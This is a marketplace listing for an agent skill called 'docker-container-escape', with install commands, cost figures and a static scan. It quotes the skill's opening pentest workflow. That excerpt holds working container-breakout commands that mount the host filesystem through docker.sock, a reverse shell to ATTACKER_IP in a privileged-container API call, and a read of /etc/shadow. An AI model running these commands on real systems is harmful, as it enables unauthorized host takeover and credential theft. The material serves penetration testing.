Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/shulkwisec/bb-huge/docker-container-escapenpx skills add ShulkwiSEC/bb-huge --skill docker-container-escapegit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/docker-container-escape)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/docker-container-escape"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/docker-container-escape.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00065 | $0.01862 |
| Opus 5 | $0.00032 | $0.00931 |
| Sonnet 5 | $0.00013 | $0.00372 |
| Haiku 4.5 | $0.00006 | $0.00186 |
Grade B, and why
docker-container-escape scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
cat /proc/1/root/etc/shadow Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# Install Docker CLI or use curl to API Copies of this mod
1 near-identical copy found in the catalogue:
- docker-container-escape — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 206 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Docker Container Escape
When to Use
- When you have shell access inside a Docker container during a pentest
- When testing Kubernetes pods for breakout vulnerabilities
- When assessing container security configurations
- When testing for privilege escalation from container to host
Prerequisites
- Shell access (user or limited privilege) on the target system
- Enumeration tools appropriate for the target OS (LinPEAS, WinPEAS, etc.)
- Understanding of the target OS privilege model and common misconfigurations
- Ability to transfer files or compile tools on the target
Workflow
Phase 1: Container Detection & Enumeration
# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv
hostname # Container IDs look like hex strings: a1b2c3d4e5f6
# Automated detection
# amicontained — container introspection tool
./amicontained
# DeepCE — Docker Privilege Escalation scanner
./deepce.sh
# Check for mounted Docker socket (CRITICAL FINDING)
ls -la /var/run/docker.sock
ls -la /run/docker.sock
# Check capabilities
capsh --print
cat /proc/self/status | grep Cap
# Check if privileged
cat /proc/self/status | grep -i "seccomp\|cap"
# If CapEff: 0000003fffffffff → Privileged container!
# Check mounted volumes
mount | grep -v "proc\|sys\|dev\|overlay"
df -h
cat /proc/mounts
Phase 2: Docker Socket Escape (Most Common)
# If /var/run/docker.sock is mounted — GAME OVER
# You can create a new privileged container with host filesystem mounted
# Method 1: Using Docker client inside container
# Install Docker CLI or use curl to API
docker -H unix:///var/run/docker.sock run -it --rm --privileged \
-v /:/hostfs alpine:latest chroot /hostfs bash
# Method 2: Using curl (when Docker CLI is not available)
# List running containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq
# Create privileged container with host access
curl -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
http://localhost/containers/create \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "chroot /hostfs /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\""],
"HostConfig": {
"Binds": ["/:/hostfs"],
"Privileged": true
}
}'
# Start the container
curl -s --unix-socket /var/run/docker.sock -X POST \
http://localhost/containers/CONTAINER_ID/start
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 206 lines · 65 tokens per session scan B 9419c93bcc05
docker-container-escape is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 65 tokens to every session and 1,862 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
docker-container-escape
Escape from Docker containers to the host system using container misconfigurations, mounted sockets, privileged mode, capabilities abuse, and kernel exploits. Use this skill when testing containerized environments for breakout vulnerabilities during penetration tests. Covers Docker socket mounting, cgroup escapes…
performing-container-security-scanning-with-trivy
Scan container images, filesystems, and Kubernetes manifests for vulnerabilities, misconfigurations, exposed secrets, and license compliance issues using Aqua Security Trivy with SBOM generation and CI/CD integration.
test-environment-management
Test environment provisioning, infrastructure as code for testing, Docker/Kubernetes for test environments, service virtualization, and cost optimization. Use when managing test infrastructure, ensuring environment parity, or optimizing testing costs.
DevOps & Deployment
CI/CD pipelines, containerization, Kubernetes, and infrastructure as code patterns.
detecting-container-drift-at-runtime
Detect unauthorized modifications to running containers by monitoring for binary execution drift, file system changes, and configuration deviations from the original container image.
securing-container-registry-with-harbor
Harbor is an open-source container registry that provides security features including vulnerability scanning (integrated Trivy), image signing (Notary/Cosign), RBAC, content trust policies, replicatio.